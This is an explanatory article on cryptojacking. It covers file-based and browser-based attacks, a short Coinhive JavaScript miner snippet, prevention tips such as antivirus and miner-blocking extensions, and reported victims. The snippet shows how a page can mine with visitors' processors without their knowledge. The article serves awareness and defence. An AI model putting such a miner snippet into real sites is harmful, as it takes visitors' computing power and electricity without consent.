Cryptojacking - How To Protect Yourself

Cryptojacking is a technique that employs unauthorized use of devices for cryptocurrency mining by site owners or cybercriminals. In this article, we'll go through what cryptojacking is and how you can protect yourself from a cryptojacking attack.

Have you ever felt that your computer is running slowly while accessing some websites, or the processor fan is making noise and the CPU usage reaches up to 100 percent? You’re probably a victim of a cryptojacking attack. This article explains cryptojacking attacks and different ways to protect yourself.
 

What is cryptojacking?

 
Cryptojacking is a technique that is used by the site owner or attacker to earn money. You might be aware of advertising networks, which display advertising banners on web pages. A site owner can earn a pretty good amount from it and that's the legal way to do it. However, there is a hidden technique that criminals are using; i.e., by adding a few lines of scripting code on a web page, they can use the computational power of devices. That computational power is used in cryptocurrency mining.
 
Cryptojacking 
 
There are two types of cryptojacking attacks.
  • File-based attack
  • Browser-based attack
The file-based cryptojacking attack is likely any other malware; many of these attacks self propagate and spread through the networks. Well, this requires a huge cleanup cost.
 
Unlike other malware, in browser-based cryptojacking, attackers don’t need to attack your computer. They can simply run the JavaScript code on a website you are surfing and they can use the processing power of your computer. That means if you’re simply visiting a website on a browser, you could be at risk! As long as the browser is open, attackers benefit.
 
There are multiple reasons why attackers have turned to cryptojacking. Few cryptocurrencies support browser-based mining. Attackers usually want to make money easily and a cryptojacking attack requires less effort since it only needs a script to run on a browser. This attack also can’t be found in the first place; many among us always blame our system for running slow.
 

How does it affect an individual or an organization?

 
A cryptojacking attack slows down the performance and overheats the devices; resulting business costs increase unexpectedly with the usage of electricity and device turnover.
 

What does the cryptojacking code look like?

 
Coinhive is a JavaScript miner for the Monero Blockchain. Coinhive provides a piece of JavaScript code you can add in your web application and mine Monero coins with the use of a visitor's computational power. The basic aim of this browser-based mining is to offer an alternative to online advertising, and users can protect their privacy.
  1. <script src="./coinhive.min.js"></script>    
  2. <script>    
  3.       var miner = new CoinHive.Anonymous('MinerAddress');    
  4.       miner.start();    
  5. </script>    
Things to notice,
  • Load Coinhive’s JavaScript library; coinhive.min.js 
  • Provid an address in which the mined cryptocurrencies will be stored
  • Start the miner
That's all! You just need to add the above code into your web page, and the code will handle the rest of the things. Each user who visits your web page will be unknowingly offering you the computational power of their machine to help you mine the coins that you'll receive in the configured wallet.
 

How to prevent cryptojacking?

 
Antivirus software can help detect and prevent cryptojacking attacks immediately. Also, Operating System providers often release security patches to help prevent such attacks. Therefore, keep your antivirus and OS up-to-date.
 
Cryptojacking detected by antivirus softwares
Cryptojacking attack detected by antivirus software
 
Additionally, you can use browser extensions like ad-blocker and crypto miner detector, that provide an extra layer of protection to your system. This threat is widely spread using malicious emails, therefore do not hit the unknown URLs that you’d receive in your inbox.
 

Cryptojacking Victims

 
Previously, YouTube ads were compromised and were running one of the ads that contained mining script. Around Dec 2018, a similar kind of virus was detected in Facebook messenger which was mining a cryptocurrency in the background. Starbucks Wi-Fi users also got affected by the CoinHive mining script. These all are big names though; there are many other victims that didn’t recognize the attack!
 
Many big names have been using cryptojacking for profit. The Pirate Bay (TPB), an online index of digital content, is making money by cryptojacking. They clearly stated that cryptojacking is their revenue model.

cryptojacking by The PirateBay
Cryptojacking by The Pirate Bay
 
In this article, we've reviewed what exactly cryprojacking is and discussed different ways to prevent it. Hope the tips provided in this article will help you to protect yourself from a cryprojacking attack.